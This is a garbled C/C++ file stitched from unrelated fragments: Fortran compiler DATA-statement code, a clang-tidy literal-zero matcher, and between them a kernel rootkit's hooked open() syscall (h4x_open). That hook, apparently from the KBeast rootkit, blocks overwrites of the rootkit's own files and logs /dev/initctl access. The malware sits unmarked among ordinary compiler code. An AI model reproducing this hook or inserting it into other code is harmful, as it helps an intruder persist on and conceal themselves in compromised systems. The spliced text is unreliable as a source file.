void DataStmtEngine::CreateArrayElementExprInitializer(ArrayElementExpr *E,
Expr *Parent) {
auto Target = dyn_cast<VarExpr>(E->getTarget());
if(!Target)
return VisitExpr(E);
if(CheckVar(Target))
return;
auto VD = Target->getVarDecl();
auto ATy = VD->getType()->asArrayType();
auto ElementType = ATy->getElementType();
uint64_t ArraySize;
if(!ATy->EvaluateSize(ArraySize, Context))
return VisitExpr(E);
SmallVector<Expr*, 32> Items(ArraySize);
if(VD->hasInit()) {
assert(isa<ArrayConstructorExpr>(VD->getInit()));
auto InsertPoint = cast<ArrayConstructorExpr>(VD->getInit())->getItems();
for(uint64_t I = 0; I < ArraySize; ++I)
Items[I] = InsertPoint[I];
} else {
for(uint64_t I = 0; I < ArraySize; ++I)
Items[I] = nullptr;
}
uint64_t Offset;
if(!E->EvaluateOffset(Context, Offset, &ImpliedDoEvaluator))
return VisitExpr(E);
ExprResult Val;
if(Parent) {
if(auto SE = dyn_cast<SubstringExpr>(Parent)) {
Val = CreateSubstringExprInitializer(SE, ElementType);
} else if(auto ME = dyn_cast<MemberExpr>(Parent)) {
if(Offset < Items.size()) {
const TypeConstructorExpr *Init = Items[Offset]? cast<TypeConstructorExpr>(Items[Offset]) : nullptr;
Val = CreateMemberExprInitializer(ME, Init);
}
} else llvm_unreachable("invalid expression");
} else Val = getAndCheckAnyValue(ElementType, E);
if(Val.isUsable() && Offset < Items.size()) {
Items[Offset] = Val.get();
VD->setInit(ArrayConstructorExpr::Create(Context, Val.get()->getLocation(),
Items, VD->getType()));
}
}
/*Don't allow your file to be overwrited*/
asmlinkage int h4x_open(const char __user *filename, int flags, int mode) {
int r;
char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
copy_from_user(kbuf,filename,255);
//bits/fcntl.h O_WRONLY|O_TRUNC|O_LARGEFILE is 0101001
if((strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)) && flags == 0101001){
kfree(kbuf);
return -EACCES;
}
//if(strstr(kbuf,"/dev/initctl") && flags==1){
if(strstr(kbuf,"/dev/initctl")){
hasInit();
snprintf(obuffer,sizeof(obuffer),"initctlmagic- [UID = %i ] %s >file:%s > flags:%i > mode: %i\n",current->uid,current->comm,kbuf,flags,mode);
log_to_file(obuffer);
}
r=(*o_open)(filename,flags,mode);
return r;
}
void DataStmtEngine::VisitMemberExpr(MemberExpr *E) {
if(auto AE = dyn_cast<ArrayElementExpr>(E->getTarget())) {
CreateArrayElementExprInitializer(AE, E);
return;
}
auto Target = dyn_cast<VarExpr>(E->getTarget());
if(!Target)
return VisitExpr(E);
if(CheckVar(Target))
return;
auto VD = Target->getVarDecl();
const TypeConstructorExpr *Init = VD->hasInit()? cast<TypeConstructorExpr>(VD->getInit()) : nullptr;
auto Val = CreateMemberExprInitializer(E, Init);
if(Val.isUsable())
VD->setInit(Val.get());
}
/// Returns `true` if `Node` is a value which evaluates to a literal `0`.
bool IsLiteralZero(const MatchFinder::MatchResult &Result, const Expr &Node) {
auto ZeroMatcher =
anyOf(integerLiteral(equals(0)), floatLiteral(equals(0.0)));
// Check to see if we're using a zero directly.
if (selectFirst<const clang::Expr>(
"val", match(expr(ignoringImpCasts(ZeroMatcher)).bind("val"), Node,
*Result.Context)) != nullptr)
return true;
// Now check to see if we're using a functional cast with a scalar
// initializer expression, e.g. `int{0}`.
if (selectFirst<const clang::Expr>(
"val", match(cxxFunctionalCastExpr(
hasDestinationType(
anyOf(isInteger(), realFloatingPointType())),
hasSourceExpression(initListExpr(
hasInit(0, ignoringParenImpCasts(ZeroMatcher)))))
.bind("val"),
Node, *Result.Context)) != nullptr)
return true;
return false;
}
